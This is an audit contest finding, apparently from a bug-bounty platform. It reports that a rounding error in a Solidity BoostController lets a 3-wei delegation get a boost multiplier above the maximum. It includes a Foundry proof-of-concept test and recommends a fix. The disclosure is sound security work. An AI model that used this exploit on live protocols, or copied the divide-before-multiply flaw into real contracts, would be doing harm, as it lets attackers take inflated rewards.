Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: low
Valid

Boost multiplier can be greater than MAX_BOOST for dust delegation

Summary

Rounding error in BoostController.getBoostMultiplier will lead to inflated boost multiplier calculation for dust delegation.

Vulnerability Details

The BoostController is designed to manage boost calculations and delegations for the protocol. It implements Curve-style boost mechanics with configurable multipliers and supports pool-specific boost management.

Users can delegate their boost to certain pools and get multiplier.

If we take a look at BoostController.getBoostMultiplier

function getBoostMultiplier(
address user,
address pool
) external view override returns (uint256) {
if (!supportedPools[pool]) revert PoolNotSupported();
UserBoost storage userBoost = userBoosts[user][pool];
if (userBoost.amount == 0) return MIN_BOOST;
// Calculate actual boost multiplier in basis points
@> uint256 baseAmount = userBoost.amount * 10000 / MAX_BOOST;
@> return userBoost.amount * 10000 / baseAmount;
}

The code is susceptible to rounding error.

For example, if userBoost.amount< 3 then baseAmountwill be rounded down to zero and the function will revert with division by zero error.

If userBoost.amount =3then, baseAmountwill be rounded down to 1 and boost multiplier will be 30000

POC

pragma solidity ^0.8.19;
import "../lib/forge-std/src/Test.sol";
import {BoostController} from "../contracts/core/governance/boost/BoostController.sol";
import {veRAACToken} from "../contracts/core/tokens/veRAACToken.sol";
import {RAACToken} from "../contracts/core/tokens/RAACToken.sol";
import {MockPool} from "../contracts/mocks/core/pools/MockPool.sol";
contract BoostControllerTest is Test {
veRAACToken veToken;
RAACToken raacToken;
BoostController boostController;
address pool;
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() external {
raacToken = new RAACToken(address(this), 0, 0);
raacToken.setMinter(address(this));
veToken = new veRAACToken(address(raacToken));
boostController = new BoostController(address(veToken));
pool = address(new MockPool());
boostController.modifySupportedPool(pool, true);
vm.label(pool, "pool");
}
function testBoost() external {
address user = alice;
_dealVeToken(alice, 1000e18);
_dealVeToken(bob, 1000e18);
vm.startPrank(alice);
boostController.delegateBoost(pool, 3, 7 days);
vm.stopPrank();
assertEq(boostController.getBoostMultiplier(user, pool), 30000);
}
function _dealVeToken(address account, uint256 amount) internal {
if (amount == 0) {
return;
}
deal(address(raacToken), account, amount);
vm.startPrank(account);
raacToken.approve(address(veToken), amount);
veToken.lock(amount, veToken.MAX_LOCK_DURATION());
vm.stopPrank();
}
}

Impact

One of the main protocol's invariant is broken. Attackers can gain 3x multiplier by delegating 3 weito any pool.

Tools Used

Manual Review

Recommendations

Either one of the following approaches will fix the problem:

  • Multiply before division

  • Use fixed point math

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BoostController::getBoostMultiplier returns values exceeding MAX_BOOST due to precision loss in integer division, breaking system invariants for specific boost amounts

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!